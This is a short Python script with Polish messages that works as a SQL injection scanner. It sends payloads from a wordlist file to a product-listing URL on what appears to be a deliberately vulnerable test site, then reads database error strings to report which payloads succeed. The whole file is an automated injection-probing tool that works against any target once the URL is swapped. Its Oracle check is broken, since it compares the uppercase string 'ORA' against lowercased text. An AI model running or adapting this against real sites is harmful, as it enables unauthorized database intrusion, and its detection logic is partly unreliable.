import requests

url = "http://testphp.vulnweb.com/listproducts.php?cat="
sql_payloads = []
with open('wektory_ataków_SQL.txt', 'r') as filehandle:
    for line in filehandle:
        sql_payload = line[:-1]
        sql_payloads.append(sql_payload)
for payload in sql_payloads:
    print ("Test adresu " + url + payload)
    response = requests.post(url + payload)
    if "mysql" in response.text.lower(): 
        print("Strona podatna na wstrzykiwanie zapytań do bazy MySQL, ciąg: " + payload)
    elif "native client" in response.text.lower():
        print("Strona podatna na wstrzykiwanie zapytań do bazy MS SQL, ciąg: " + payload)
    elif "syntax error" in response.text.lower():
        print("Strona podatna na wstrzykiwanie zapytań do bazy PostgreSQL, ciąg: " + payload)
    elif "ORA" in response.text.lower():
        print("Strona podatna na wstrzykiwanie zapytań do bazy Oracle, ciąg: " + payload)
    else:
        print("Niegroźny ciąg", payload)